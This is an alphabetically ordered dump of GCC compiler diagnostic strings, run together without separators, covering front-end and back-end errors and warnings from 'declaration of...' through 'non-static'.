%q+D with attribute noinline follows inline declaration declaration of %q+D with no linkage follows extern declarationdeclaration of %qD as %sdeclaration of %qD as member of %qTdeclaration of %qD as multidimensional array must have bounds for all dimensions except the firstdeclaration of %qD as non-functiondeclaration of %qD as non-memberdeclaration of %qD not in a namespace surrounding %qDdeclaration of %qD shadows a global declarationdeclaration of %qD shadows a member of 'this'declaration of %qD shadows a previous localdeclaration of %qF throws different exceptionsdeclaration of %qs as array of functionsdeclaration of %qs as array of voidsdeclaration of C function %q#D conflicts withdeclaration of namespace %qD conflicts withdeclaration of non-variable %q+D in %<for%> loop initial declarationdeclaration of static variable %q+D in %<for%> loop initial declarationdeclaration of template %q#Ddeclarator-id missing; using reserved word %qDdecrement of pointer to unknown structuredecrement of read-only location %qEdecrement of read-only member %qDdecrement of read-only variable %qDdefault argument %qE uses local variable %qDdefault argument for %q#D has type %qTdefault argument for parameter of type %qT has type %qTdefault argument given for parameter %d of %q#Ddefault argument missing for parameter %P of %q+#Ddefault argument specified in explicit specializationdefault arguments are not allowed in declaration of friend template specialization %qDdefining explicit specialization %qD in friend declarationdefinition in block %i does not dominate use in block %idefinition in block %i follows the usedefinition of %q#D is marked %<dllimport%>definition of %q#T inside template parameter listdefinition of %qD is not in namespace enclosing %qTdefinition of implicitly-declared %qDdefinition of static data member %q+D of dllimport'd classdefinition provided for explicit instantiationdeleting %qT is undefineddeleting array %q#Ddependent-name %qE is parsed as a non-type, but instantiation yields a typedeprecated conversion from string constant to %qTdeprecated covariant return type for %q+#Ddeprecated use of default argument for parameter of non-functiondereferenced pointers should have a name or a symbol tagdereferencing %<void *%> pointerdereferencing pointer to incomplete typedereferencing type-punned pointer might break strict-aliasing rulesdereferencing type-punned pointer will break strict-aliasing rulesderived type declarationderived union %qT invaliddestructor %qD declared as member templatedestructor cannot be static member functiondestructor for %qs shall not be run eitherdestructor for alien class %qT cannot be a memberdestructor priorities are not supporteddestructor priorities from 0 to %d are reserved for the implementationdestructor priorities must be integers from 0 to %d inclusivedestructors may not be cv-qualifieddestructors may not have parametersdirect base %qT inaccessible in %qT due to ambiguitydistinct Objective-C type in returndivision by zerodoes not support multilibdominator of %d should be %d, not %ddominator of %d status unknownduplicate %<const%>duplicate %<restrict%>duplicate %<volatile%>duplicate %qEduplicate (or overlapping) case valueduplicate ConstantValue attribute for field '%s'duplicate asm operand name %qsduplicate base type %qT invalidduplicate case valueduplicate declaration for protocol %qsduplicate declaration of method %<%c%s%>duplicate explicit instantiation of %q#Dduplicate explicit instantiation of %q#Tduplicate initialization of %qDduplicate interface declaration for category %<%s(%s)%>duplicate interface declaration for class %qsduplicate label %qDduplicate label declaration %qEduplicate member %q+Dduplicated initializerdynamic dependency %s not founddynamic_cast of %q#D to %q#T can never succeededge %s->%s has no corresponding call_stmtedge from %d to %d should be marked irreducibleedge from %d to %d should not be marked irreducibleedge points to wrong declaration:elemental binary operationelemental function arguments at %C are not compliantelemental procedureelements of array %q#D have incomplete typeembedded %<\0%> in formatemitting PIC operand, but PIC register isn't set upempty declarationempty declaration with storage class specifier does not redeclare tagempty declaration with type qualifier does not redeclare tagempty index range in initializerempty left precision in %s formatempty precision in %s formatempty range specifiedempty scalar initializerenabling backtrace support is only meaningful when compiling for the Thumbenabling callee interworking support is only meaningful when compiling for the Thumbenabling caller interworking support is only meaningful when compiling for the Thumbenclosing class templates are not explicitly specializedend insn %d for block %d not found in the insn streamenumeral and non-enumeral type in conditional expressionenumeral mismatch in conditional expression: %qT vs %qTenumeration values exceed range of largest integerenumerator value for %qD is not an integer constantenumerator value for %qE is not an integer constantenvironment variable "%s" not definedenvironment variable DJGPP not definedenvironment variable DJGPP points to corrupt file '%s'environment variable DJGPP points to missing file '%s'error closing %s: %merror in args to spec function '%s'error in constant pool entry #%d
error while parsing constant poolerror while parsing constant pool
error while parsing fieldserror while parsing fields
error while parsing final attributeserror while parsing final attributes
error while parsing methodserror while parsing methods
error while reading %s from zip fileerror writing %qserror writing to %s: %merror: exception handling disabled, use -fexceptions to enableexception of type %<%T%> will be caughtexcess elements in array initializerexcess elements in char array initializerexcess elements in scalar initializerexcess elements in struct initializerexcess elements in union initializerexcess elements in vector initializerexecution counts estimatedexpand_binop failed in movsi gotexpansion pattern %<%E%> contains no argument packsexpansion pattern %<%T%> contains no argument packsexpected %<#pragma omp%> clauseexpected %<(%>expected %<(%> or end of lineexpected %<+%>, %<*%>, %<-%>, %<&%>, %<^%>, %<|%>, %<&&%>, or %<||%>expected %<,%> or %<;%>expected %<,%> or %<}%>expected %<,%>, %<;%> or %<}%>expected %<:%> or %<...%>expected %<:%>, %<,%>, %<;%>, %<}%> or %<__attribute__%>expected %<;%>expected %<=%>expected %<=%>, %<,%>, %<;%>, %<asm%> or %<__attribute__%>expected %<none%> or %<shared%>expected %<{%>expected %d levels of template parms for %q#D, got %dexpected [error|warning|ignored] after %<#pragma GCC diagnostic%>expected an SSA_NAME objectexpected class nameexpected declaration or statementexpected declaration specifiersexpected declaration specifiers or %<...%>expected expressionexpected identifierexpected identifier or %<(%>expected identifier or %<*%>expected integer expressionexpected iteration declaration or initializationexpected qualified name in friend declaration for constructor %qDexpected qualified name in friend declaration for destructor %qDexpected specifier-qualifier-listexpected statementexpected string literalexpense of call operation relative to ordinary arithmetic operationsexplicit goto at end of bb %dexplicit instantiation of %q#Dexplicit instantiation of %q#T before definition of templateexplicit instantiation of %qD but no definition availableexplicit instantiation of %qD in namespace %qD (which does not enclose namespace %qD)explicit instantiation of non-template %q#Dexplicit instantiation of non-template type %qTexplicit qualification in declaration of %qDexplicit specialization in non-namespace scope %qDexplicit specialization of %qD after first useexplicit specialization of %qD must be introduced by %<template <>%>explicit specialization of non-template %qTexpr in !$OMP ATOMIC assignment var = var op expr must be scalar and cannot reference var at %Lexpression %qE of abstract class type %qT cannot be used in throw-expressionexpression statement has incomplete typeextended registers have no high halvesextern declaration of %q#D doesn't matchextern declaration of %q+D follows declaration with no linkageexternal linkage required for symbol %q+D because of %qs attributeextra %<;%>extra brace group at end of initializerextra elements in scalar initializerextra outgoing edge %d->%dextra qualification %<%T::%> on member %qsextra type qualifiers in format argument (argument %d)extraneous argument to '%s' optionfailed to find class '%s'failed to get exit statusfailed to get process timesfailed to reclaim unneeded functionfailure in redeclaration of %q+D: dllimport'd symbol lacks external linkagefailure to simplify substring reference in DATA statement at %Lfallthru edge after a control statement in bb %dfallthru edge after unconditional jump %ifallthru edge crosses section boundary (bb %i)fallthru to exit from bb %dfastcall and cdecl attributes are not compatiblefastcall and regparm attributes are not compatiblefastcall and stdcall attributes are not compatiblefatal error: fclose %sfield %q+#D with same name as classfield %q+D invalidly declared function typefield %q+D invalidly declared method typefield %qD has incomplete typefield %qs declared as a functionfield %qs has incomplete typefield %qs not foundfield initializer is not constantfield name not in record or union initializerfield precisionfield widthfield width in printf formatfield width in scanf formatfield width in strfmon formatfield width in strftime formatfile-scope declaration of %qs specifies %<auto%>file-scope declaration of %qs specifies %<register%>fill characterfill character in strfmon formatfind_enum(): Enum not foundfini function found in object %sfirst argument of %q+D should be %<int%>first argument to %<va_arg%> not of type %<va_list%>fix_sched_param: unknown param: %sfixed-point overflow in expressionfixed-point types not supported for this targetfloating constant exceeds range of %qTfloating constant misusedfloating constant truncated to zerofloating point constant not a valid immediate operandfloating point overflow in expressionflow control insn inside a basic blockfold check: original tree changed by foldfopen %sfor statement expectedfor template declaration %q+Dformat %q.*s expects type %<%T%s%>, but argument %d has type %qTformat %q.*s expects type %<%s%s%>, but argument %d has type %qTformat argument %d unused before used argument %d in $-style formatformat argument %d used more than once in %s formatformat is a wide character stringformat not a string literal and no format argumentsformat not a string literal, argument types not checkedformat not a string literal, format string not checkedformat string argument follows the args to be formattedformat string argument not a string typeformat string has invalid operand numberforming %s to reference type %qTforming reference to voidfound %<-%s%> instead of %<+%s%> in protocol(s)found a default name with a non-empty defining statementfound a real definition for a non-registerfound a virtual definition for a GIMPLE registerfound an SSA_NAME that had been released into the free poolfp software completion requires -mtrap-precision=ifr30_print_operand: invalid %%F codefr30_print_operand: invalid %%x codefr30_print_operand: invalid operand to %%A codefr30_print_operand: unhandled MEMfr30_print_operand: unknown codefr30_print_operand: unrecognized %%B codefr30_print_operand: unrecognized %%b codefr30_print_operand: unrecognized %%p codefr30_print_operand_address: unhandled addressframe size of %qs is frame size of function %qs is frame size too large for reliable stack checkingfriend declaration %q#D declares a non-template functionfriend declaration %qD in local class without prior declarationfriend declaration not in class definitionfriend declaration requires class-key, i.e. %<friend %#T%>friend declaration requires class-key, i.e. %<friend class %T::%D%>from previous declaration %q+Ffrom this locationfrv_print_operand: unknown codefunction %q#D is initialized like a variablefunction %q+D definition is marked dllimportfunction %q+D is defined after prior declaration as dllimport: attribute ignoredfunction %q+D redeclared as inlinefunction %q+D redeclared with attribute noinlinefunction %q+F can never be inlined because it contains a computed gotofunction %q+F can never be inlined because it is suppressed using -fno-inlinefunction %q+F can never be inlined because it receives a non-local gotofunction %q+F can never be inlined because it saves address of local label in a static variablefunction %q+F can never be inlined because it uses __builtin_return or __builtin_apply_argsfunction %q+F can never be inlined because it uses alloca (override using the always_inline attribute)function %q+F can never be inlined because it uses attributes conflicting with inliningfunction %q+F can never be inlined because it uses non-local gotofunction %q+F can never be inlined because it uses setjmpfunction %q+F can never be inlined because it uses setjmp-longjmp exception handlingfunction %q+F can never be inlined because it uses variable argument listsfunction %q+F can never be inlined because it uses variable sized variablesfunction %qD declared virtual inside a unionfunction %qD is initialized like a variablefunction %qs cannot be declared %<mutable%>function body not availablefunction call has aggregate valuefunction called through a non-compatible typefunction declaration isn%'t a prototypefunction declared %<noreturn%> has a %<return%> statementfunction definition declared %<__thread%>function definition declared %<auto%>function definition declared %<register%>function definition declared %<typedef%>function definition does not declare parametersfunction definition has qualified void return typefunction does not return string typefunction might be possible candidate for %qs format attributefunction not considered for inliningfunction not declared inline and code size would growfunction not inlinablefunction not inline candidatefunction return type cannot be functionfunction return types not compatible due to %<volatile%>function returning a functionfunction returning an arrayfunction returns address of local variablefunction returns an aggregatefunction template partial specialization %qD is not allowedfunction types not truly compatible in ISO Cfunction-scope %qs implicitly auto and declared %<__thread%>function_profiler supportfunction_profiler support for MMIXgcc driver version %s %sexecuting gcc version %s
gcc version %s %s
gcov %s%s
generic thunk code fails for method %q#D which uses %<...%>getting core file size maximum limit: %mgfc_conv_constant_to_tree(): invalid type: %sgfc_trans_code(): Bad statement codegimplification failedglobal constructors not supported on this targetglobal declaration %q+#Dglobal destructors not supported on this targetglobal register variable %qD used in nested functionglobal register variable %qs used in nested functionglobal register variable follows a function definitionglobal register variable has initial valueglobal/static variable assignment has been interceptedgot %d template parameters for %q#Dgot %d template parameters for %q#Tgp is constant (but save/restore gp on indirect calls)gp_offset (%ld) or end_offset (%ld) is less than zerohad to relocate PCHhard-float MIPS16 code for ABIs other than o32 and o64head insn %d for block %d not found in the insn streamhow much can given compilation unit grow because of the inlining (in percent)iWMMXt and hardware floating pointia64_print_operand: unknown codeidentifier %<%s%> will become a keyword in C++0xif this code is reached, the program will abortignoring %<#pragma align%> for explicitly aligned %q+Dignoring %qV qualifiers added to function type %qTignoring -fschedule-insns because of exception handling bugignoring asm-specifier for non-static local variable %q+Dignoring attributes applied to %qT after definitionignoring attributes applied to class type %qT outside of definitionignoring attributes applied to dependent type %qT without an associated declarationignoring duplicate directory "%s"
ignoring malformed #pragma longcallignoring nonexistent directory "%s"
ignoring packed attribute because of unpacked non-POD field %q+#Dignoring unknown option %q.*s in %<-fdump-%s%>illegal aggregate type %qs specified for instance variable %qsillegal reference type specified for instance variable %qsimplicit declaration of function %qEimplicitly popped regs must be grouped at top of stackimplied END DOimpossible constraint in %<asm%>impossible register constraint in %<asm%>in %s, at %s:%din basic block %d:in declaration %q+Din passing argument %P of %q+Din statementinappropriate accumulator for %qsincoming edge count does not match number of PHI argumentsincompatible implicit declaration of built-in function %qDincompatible implicit declaration of function %qDincompatible type for argument %d of %qEincompatible types in assignment of %qT to %qTincomplete '%s' optionincomplete implementation of category %qsincomplete implementation of class %qsincomplete type %qT does not have member %qDincomplete type %qT not allowedinconsistent instance variable specificationinconsistent operand constraints in an %<asm%>incorrect insn:incorrect sharing of tree nodesincrement of pointer to unknown structureincrement of read-only location %qEincrement of read-only member %qDincrement of read-only variable %qDindex in dimension %d is out of bounds at %Lindex value instead of field name in union initializerinit function found in object %sinitialization discards qualifiers from pointer target typeinitialization from distinct Objective-C typeinitialization from incompatible pointer typeinitialization left-hand side might be a candidate for a format attributeinitialization makes integer from pointer without a castinitialization makes pointer from integer without a castinitialization makes qualified function pointer from unqualifiedinitialization of a flexible array memberinitialization of flexible array member in a nested contextinitialization string truncated to match variable at %Linitialized field overwritteninitialized field with side-effects overwritteninitialized variable %q+D is marked dllimportinitializer element is not computable at load timeinitializer element is not constantinitializer ends prematurelyinitializer fails to determine size of %q+Dinitializer fails to determine size of %qDinitializer for %qT must be brace-enclosedinitializer for floating value is not a floating constantinitializer for integer/fixed-point value is too complicatedinitializer invalid for static member with constructorinitializer specified for non-virtual method %q+Dinitializer specified for static member function %qDinitializer-string for array of chars is too longinline code to invalidate instruction cache entries after setting up nested function trampolinesinline declaration of %qD follows declaration with attribute noinlineinline function %q+D declared as  dllimport: attribute ignoredinline function %q+D declared but never definedinline function %q+D given attribute noinlineinline function %q+D is declared as dllimport: attribute ignoredinline function %q+D used but never definedinlined_to pointer is set but no predecessors foundinlined_to pointer is wronginlined_to pointer refers to itselfinlined_to pointer set for noninline callersinlining failed in call to %q+F: %sinput operand constraint contains %qcinsn %d basic block pointer is %d, should be %dinsn %d in footer of bb %d has non-NULL basic blockinsn %d in header of bb %d has non-NULL basic blockinsn %d inside basic block %d but block_for_insn is %iinsn %d inside basic block %d but block_for_insn is NULLinsn %d is in multiple basic blocks (%d and %d)insn %d outside of basic blocks has non-NULL bb fieldinsn does not satisfy its constraints:insn outside basic blockinstall: %s%s
instance variable %qs accessed in class methodinstance variable %qs has unknown sizeinstance variable %qs is %s; this will be a hard error in the futureinstance variable %qs is declared %sinstance variable %qs is declared privateinstance variable assignment has been interceptedinstantiation of %q+D as type %qTinstruction never executedinstruction scheduling not supported on this target machineinsufficient arguments to overloaded function %sint-array initialized from non-wide stringinteger constant is too large for %qs typeinteger kind=8 not available for -fdefault-integer-8 optioninteger overflow in expressionintegral expression %qE is not constantinter-module optimizations not implemented for C++interface %qs does not have valid constant string layoutinternal and protected visibility attributes not supported in this configuration; ignoredinternal compiler error.  Bad address:internal compiler error.  Incorrect shift:internal compiler error.  Unknown mode:internal compiler error: internal consistency failureinternal error - invalid Utf8 nameinternal error: bad register: %dinternal error: cris_side_effect_mode_ok with bad operandsinternal error: sideeffect-insn affecting main effectinternal gcc abort in %s, at %s:%dinterrupt Service Routines cannot be coded in Thumb modeinterrupt_thread is available only on fidointrinsic variable which isn't a procedureinvalid #pragma %sinvalid %%-codeinvalid %%A operandinvalid %%B operandinvalid %%C valueinvalid %%D valueinvalid %%E valueinvalid %%F valueinvalid %%G valueinvalid %%H valueinvalid %%J codeinvalid %%J valueinvalid %%K valueinvalid %%L valueinvalid %%M valueinvalid %%N valueinvalid %%O valueinvalid %%P operandinvalid %%P valueinvalid %%R valueinvalid %%S valueinvalid %%T valueinvalid %%U valueinvalid %%Y operandinvalid %%c operandinvalid %%d operandinvalid %%d valueinvalid %%f operandinvalid %%f valueinvalid %%h valueinvalid %%j codeinvalid %%j valueinvalid %%k valueinvalid %%m valueinvalid %%p valueinvalid %%q valueinvalid %%r valueinvalid %%s operandinvalid %%s valueinvalid %%t/%%b valueinvalid %%u valueinvalid %%v valueinvalid %%x valueinvalid %%xn codeinvalid 'asm': invalid (pointer) operands to plus/minusinvalid --param value %qsinvalid ABI option: -mabi=%sinvalid IACC argumentinvalid PC in line number tableinvalid UNSPEC as operandinvalid Z register replacement for insninvalid abstract return type for function %q+#Dinvalid abstract return type for member function %q+#Dinvalid abstract type %qT for %qEinvalid abstract type for %q+Dinvalid access to non-static data member %qD of NULL objectinvalid addressinvalid alignment for %<#pragma align%>, ignoringinvalid application of %<__alignof%> to a bit-fieldinvalid application of %<sizeof%> to a bit-fieldinvalid application of %<sizeof%> to a function typeinvalid application of %qs to a member functioninvalid application of %qs to a void typeinvalid application of %qs to incomplete type %qT invalid argument %qs to -fdebug-prefix-mapinvalid argument of %qs attributeinvalid argument to %<__builtin_frame_address%>invalid argument to %<__builtin_return_address%>invalid argument to built-in functioninvalid array assignmentinvalid base-class specificationinvalid cast from type %qT to type %qTinvalid cast of an rvalue expression of type %qT to type %qTinvalid cast to function type %qTinvalid conditional operandinvalid const_cast from type %qT to type %qTinvalid const_cast of an rvalue of type %qT to type %qTinvalid const_double operandinvalid constant in %<#pragma pack%> - ignoredinvalid constant in %<#pragma pop_macro%> - ignoredinvalid constant in %<#pragma push_macro%> - ignoredinvalid constraints for operandinvalid constructor; you probably meant %<%T (const %T&)%>invalid conversion from %<__fpreg%>invalid conversion from %qT to %qTinvalid conversion to %<__fpreg%>invalid conversion to type %qT from type %qTinvalid covariant return type for %q+#Dinvalid default argument for a template template parameterinvalid definition of qualified type %qTinvalid entry to OpenMP structured blockinvalid exit from OpenMP structured blockinvalid expression as operandinvalid expression for min lvalueinvalid expression type for %<#pragma omp atomic%>invalid floating point abi: -mfloat-abi=%sinvalid floating point emulation option: -mfpe=%sinvalid floating point option: -mfpu=%sinvalid function declarationinvalid in-class initialization of static data member of non-integral type %qTinvalid initial value for member %qsinvalid initialization of non-const reference of type %qT from a temporary of type %qTinvalid initialization of reference of type %qT from expression of type %qTinvalid initializerinvalid insn:invalid lvalue in asm output %dinvalid maskinvalid member function declarationinvalid member template declaration %qDinvalid operand code '%c'invalid operand for 'A' modifierinvalid operand for 'D' modifierinvalid operand for 'H' modifierinvalid operand for 'O' modifierinvalid operand for 'T' modifierinvalid operand for 'b' modifierinvalid operand for 'e' modifierinvalid operand for 'm' modifierinvalid operand for 'o' modifierinvalid operand for 'p' modifierinvalid operand for 'z' modifierinvalid operand for code '%c'invalid operand for code: '%c'invalid operand in indirect referenceinvalid operand in the instructioninvalid operand in unary expressioninvalid operand modifier letterinvalid operand output codeinvalid operand to %%H/%%L codeinvalid operand to %%N codeinvalid operand to %%Rinvalid operand to %%R codeinvalid operand to %%Sinvalid operand to %%T/%%B codeinvalid operand to %%U codeinvalid operand to %%V codeinvalid operand to %%p codeinvalid operand to %%s codeinvalid operand to plus/minus, type is a pointerinvalid operand to pointer plus, first operand is not a pointerinvalid operand to pointer plus, second operand is not an integer with type of sizetype.invalid operand to switch statementinvalid operands of types %qT and %qT to binary %qOinvalid operands to array referenceinvalid operands to binary %s (have %qT and %qT)invalid operation on %<__fpreg%>invalid operator for %<#pragma omp atomic%>invalid option argument %qsinvalid option for -mfloat-gprs: '%s'invalid parameter %qsinvalid parameter combination for AltiVec intrinsicinvalid parameter type %qTinvalid pointer mode %qsinvalid pointer to bit-field %qDinvalid punctuation %qc in constraintinvalid qualifiers on non-member function typeinvalid qualifying scope in pseudo-destructor nameinvalid receiver type %qsinvalid redeclaration of %q+Dinvalid reference prefixinvalid register in the instructioninvalid register in the move instructioninvalid register name for %q+Dinvalid rotate insninvalid rtl sharing found in the insninvalid schedule kindinvalid second argument to %<__builtin_prefetch%>; using zeroinvalid shift operandinvalid static_cast from type %qT to type %qTinvalid storage class for function %qsinvalid target memregs value '%d'invalid template declaration of %qDinvalid third argument to %<__builtin_prefetch%>; using zeroinvalid thread pointer option: -mtp=%sinvalid type %<void%> for newinvalid type %qT as initializer for a vector of type %qTinvalid type %qT declared %<friend%>invalid type argumentinvalid type argument of %qsinvalid type argument of %qs (have %qT)invalid types %<%T[%T]%> for array subscriptinvalid types in conversion to floating pointinvalid types in conversion to integerinvalid types in nop conversioninvalid use of %%d, %%x, or %%Xinvalid use of %<::%>invalid use of %<restrict%>invalid use of %<this%> at top levelinvalid use of %<this%> in non-member functioninvalid use of %qDinvalid use of %qE to form a pointer-to-member-functioninvalid use of %qs on pointer to memberinvalid use of '%%%c'invalid use of ':' modifierinvalid use of Boolean expression as operand to %<operator--%>invalid use of a pointer to an incomplete type in pointer arithmeticinvalid use of array with unspecified boundsinvalid use of const_cast with type %qT, which is a pointer or reference to a function typeinvalid use of const_cast with type %qT, which is not a pointer, reference, nor a pointer-to-data-member typeinvalid use of flexible array memberinvalid use of incomplete typedef %qDinvalid use of member %q+D in static member functioninvalid use of non-lvalue arrayinvalid use of non-static data member %q+Dinvalid use of non-static data member %qDinvalid use of non-static member functioninvalid use of non-static member function %qDinvalid use of nonstatic data member %qEinvalid use of pack expansion expressioninvalid use of qualified-name %<%D::%D%>invalid use of qualified-name %<%T::%D%>invalid use of qualified-name %<::%D%>invalid use of structure with flexible array memberinvalid use of template-id %qD in declaration of primary templateinvalid use of type %qT as a default value for a template template-parameterinvalid use of undefined type %<%s %E%>invalid use of void expressioninvalid vector type for attribute %qEinvalid version number `%s'invoke[non-static] on static methodinvokestatic on abstract methodinvokestatic on non static methodit must be the address of a function with external linkageiteration variable %qs should be privateiteration variable %qs should not be firstprivateiteration variable %qs should not be reductioniterator end at %L does not simplifyiterator start at %L does not simplifyiterator step at %L does not simplifyits dest_idx should be %d, not %dits scope is only this definition or declaration, which is probably not what you wantiwmmxt abi requires an iwmmxt capable cpuiwmmxt requires an AAPCS compatible ABI for proper operationjcf-dump: no classes specified
jump bypassing disabledjump into scope of identifier with variably modified typejump into statement expressionjump to case labeljump to label %q+Djump to label %qDjunk at end of #pragma %sjunk at end of #pragma GCC java_exceptionsjunk at end of #pragma GCC memregs [0..16]junk at end of #pragma ghs endsdajunk at end of #pragma ghs endtdajunk at end of #pragma ghs endzdajunk at end of #pragma ghs interruptjunk at end of #pragma ghs sectionjunk at end of #pragma ghs startsdajunk at end of #pragma ghs starttdajunk at end of #pragma ghs startzdajunk at end of #pragma longcalljunk at end of %<#pragma GCC visibility%>junk at end of %<#pragma align%>junk at end of %<#pragma extern_prefix%>junk at end of %<#pragma fini%>junk at end of %<#pragma init%>junk at end of %<#pragma pack%>junk at end of %<#pragma pop_macro%>junk at end of %<#pragma push_macro%>junk at end of %<#pragma redefine_extname%>junk at end of %<#pragma weak%>junk at end of '#pragma ms_struct'junk at end of '#pragma options'junk at end of '#pragma unused'junk at end of signature stringkeyword %<export%> not implemented, and will be ignoredlabel label %q+D declared but not definedlabel %q+D defined but not usedlabel %q+D used but not definedlabel %qE referenced outside of any functionlabel named wchar_tlang_* check: failed in %s, at %s:%dlanguage %s not recognizedlanguage string %<"%E"%> not recognizedlarge fixed-point constant implicitly truncated to fixed-point typelarge integer implicitly truncated to unsigned typelast argument must be an immediatelayout of classes derived from empty class %qT may change in a future version of GCCld returned %d exit statusleft precisionleft precision in strfmon formatleft rotate count >= width of typeleft rotate count is negativeleft shift count >= width of typeleft shift count is negativeleft-hand operand of comma expression has no effectlength modifierlength modifier in printf formatlength modifier in scanf formatlength modifier in strfmon formatlibraries: %s
library function %q#D redeclared as non-function %q#Dlibrary lib%s not foundlo_sum not of registerlocal class %q#T shall not have static data member %q#Dlocal declaration of %qs hides instance variablelocal variable memory requirements exceed capacitylogical %<%s%> with non-zero constant will always evaluate as truelong long constant not a valid immediate operandlong, short, signed or unsigned used invalidly for %qsloop %d's header does not belong directly to itloop %d's header does not have exactly 2 entriesloop %d's latch does not belong directly to itloop %d's latch does not have exactly 1 successorloop %d's latch does not have header as successorloop %d's latch is marked as part of irreducible regionlooser throw specifier for %q+#Flower value in case label range less than minimum value for typelvalue required as decrement operandlvalue required as increment operandlvalue required as left operand of assignmentlvalue required as unary %<&%> operandlvalue required in asm statementmacro name missing after %qsmaking %qD staticmalformed #pragma GCC visibility pushmalformed #pragma builtinmalformed #pragma extern_prefix, ignoredmalformed #pragma ghs sectionmalformed #pragma redefine_extname, ignoredmalformed #pragma weak, ignoredmalformed %<#pragma align%>malformed %<#pragma align%>, ignoringmalformed %<#pragma fini%>malformed %<#pragma fini%>, ignoringmalformed %<#pragma init%>malformed %<#pragma init%>, ignoringmalformed %<#pragma pack%> - ignoredmalformed %<#pragma pack(pop[, id])%> - ignoredmalformed %<#pragma pack(push[, id][, <n>])%> - ignoredmalformed '#pragma ms_struct {on|off|reset}', ignoringmalformed '#pragma ms_struct', ignoringmalformed '#pragma options align={mac68k|power|reset}', ignoringmalformed '#pragma options', ignoringmalformed spec function argumentsmalformed spec function namemangling typeof, use decltype insteadmask must be an immediatematching constraint does not allow a registermatching constraint not valid in output operandmatching constraint references invalid operand numbermaximum value of parameter %qs is %umay not use both -EB and -ELmay not use both -m32 and -m64media functions are not available unless -mmedia is usedmember %q+#D with constructor not allowed in anonymous aggregatemember %q+#D with constructor not allowed in unionmember %q+#D with copy assignment operator not allowed in anonymous aggregatemember %q+#D with copy assignment operator not allowed in unionmember %q+#D with destructor not allowed in anonymous aggregatemember %q+#D with destructor not allowed in unionmember %qD cannot be declared both virtual and staticmember %qD conflicts with virtual function table field namemember %qD declared as friend before type %qT definedmember %qD is uninitialized referencemember %qD with uninitialized const fieldsmember functions are implicitly friends of their classmemory input %d is not directly addressablemethod '%s' not found in classmethod declaration not in @interface contextmethod definition for %<%c%s%> not foundmethod definition not in @implementation contextmethod possibly missing a [super dealloc] callminimum value of parameter %qs is %umips16 function profilingmips_debugger_offset called with non stack/frame/arg pointermismatched argument pack lengths while expanding %<%E%>mismatched argument pack lengths while expanding %<%T%>mismatched argumentsmismatching signature for field '%s' in '%s'misplaced ConstantValue attribute (not in any field)missing $ operand number in formatmissing %<(%> after %<#pragma GCC visibility push%> - ignoredmissing %<(%> after %<#pragma pack%> - ignoredmissing %<(%> after %<#pragma pop_macro%> - ignoredmissing %<(%> after %<#pragma push_macro%> - ignoredmissing %<)%> after %<#pragma pop_macro%> - ignoredmissing %<)%> after %<#pragma push_macro%> - ignoredmissing '(' after '#pragma unused', ignoringmissing ')' after '#pragma unused', ignoringmissing Code attributemissing PHI defmissing REG_EH_REGION note in the end of bb %imissing [error|warning|ignored] after %<#pragma GCC diagnostic%>missing argument in %<__builtin_args_info%>missing argument to "%s"missing argument to "-%s"missing argument to '%s' optionmissing barrier after block %imissing braces around initializermissing braces around initializer for %qTmissing callgraph edge for call stmt:missing close brace for named operandmissing close parenmissing definitionmissing edge %i->%imissing field '%s' in '%s'missing filename after %qsmissing fill character at end of strfmon formatmissing initializermissing initializer for member %qDmissing makefile target after %qsmissing numbermissing open parenmissing operandmissing option after %<#pragma GCC diagnostic%> kindmissing path after %qsmissing sentinel in function callmissing terminating %c charactermissing type-name in typedef-declarationmixing C++ and Java catches in a single translation unitmno-cygwin and mno-win32 are not compatiblemode %qs applied to inappropriate typemore than %d operands in %<asm%>move insn not handledms-bitfields not supported for objcmudflap cannot track %qs in stub functionmudflap cannot track unknown size extern %qsmudflap checking not yet implemented for ARRAY_RANGE_REFmudflap: this language is not supportedmultidimensional array must have bounds for all dimensions except the firstmultilib exclusion '%s' is invalidmultilib exclusions '%s' is invalidmultilib select '%s' is invalidmultilib spec '%s' is invalidmultiple %s named %<%c%s%> foundmultiple default labels in one switchmultiple definition of %q#Tmultiple fields in union %qT initializedmultiple function type attributes specifiedmultiple hot/cold transitions found (bb %i)multiple inline callersmultiple interrupt attributes not allowedmultiple parameters named %q+Dmultiple storage classes in declaration of %qsmultiple storage classes in declaration specifiersmultiple types in one declarationmust #include <typeinfo> before using typeidmvcle usemysterious repository information in %sname %qD used in a GNU-style designated initializer for an arrayname %qT has incomplete typename lookup of %qD changedname missing for member functionname of class shadows template template parameter %qDnamed block DO at %L requires matching ENDDO namenamespace %qD not allowed in using-declarationnamespace alias %qD not allowed here, assuming %qDnamespace-scope anonymous aggregates must be staticneed to insert runtime check for %snegative insn lengthnegative integer implicitly converted to unsigned typenegative nesting depth of region %inegative width in bit-field %q+Dnegative width in bit-field %qsneither the destructor nor the class-specific operator delete will be called, even if they are declared when the class is defined.nested assembly dialect alternativesnested extern declaration of %qDnested function %q+D declared but never definednested function %qs declared %<extern%>nested redefinition of %<enum %E%>nested redefinition of %<struct %E%>nested redefinition of %<union %E%>new cannot be applied to a function typenew cannot be applied to a reference typenew declaration %q#Dno %<%D(int)%> declared for postfix %qs, trying prefix operator insteadno %<%c%s%> method foundno %q#D member function declared in class %qTno FUNCTION_PROFILER for CRISno argumentsno arguments for spec functionno class name specified with %qsno class template named %q#T in %q#Tno closing %<]%> for %<%%[%> formatno coverage for function %qs foundno data type for mode %qsno default argument for %qDno description yetno field %qD found in union being initializedno immediate_use listno input file specifiedno input filesno input files; unwilling to write output filesno integral type can represent all of the enumerator values for %qTno low registers available for popping high registersno match for call to %<(%T) (%A)%>no matches converting function %qD to type %q#Tno matching function for call to %<%D(%A)%>no matching function for call to %<%T::%s(%A)%#V%>no matching push for %<#pragma GCC visibility pop%>no matching template for %qD foundno member function %qD declared in %qTno members matching %<%T::%D%> in %q#Tno previous declaration for %q+Dno previous prototype for %q+Dno profiling of 64-bit code for this ABIno register in addressno return statement in function returning non-voidno sclass for %s stab (0x%x)no suitable %<operator %s%> for %qTno suitable %qD found in class %qTno super class declared in @interface for %qsno super class declared in interface for %qsno unique final overrider for %qD in %qTnode not found in cgraph_hashnon-addressable variable inside an alias setnon-constant array in DATA statement %Lnon-constant condition for static assertionnon-integral used in conditionnon-local function %q#D uses anonymous typenon-local function %q#D uses local type %qTnon-local variable %q#D uses anonymous typenon-local variable %q#D uses local type %qTnon-lvalue array in conditional expressionnon-member %qs cannot be declared %<mutable%>non-member function %qD cannot have cv-qualifiernon-memory input %d must stay in memorynon-object member %qs cannot be declared %<mutable%>non-parameter %qs cannot be a parameter packnon-standard suffix on floating constantnon-static const member %q#D, can't use default assignment operatornon-static 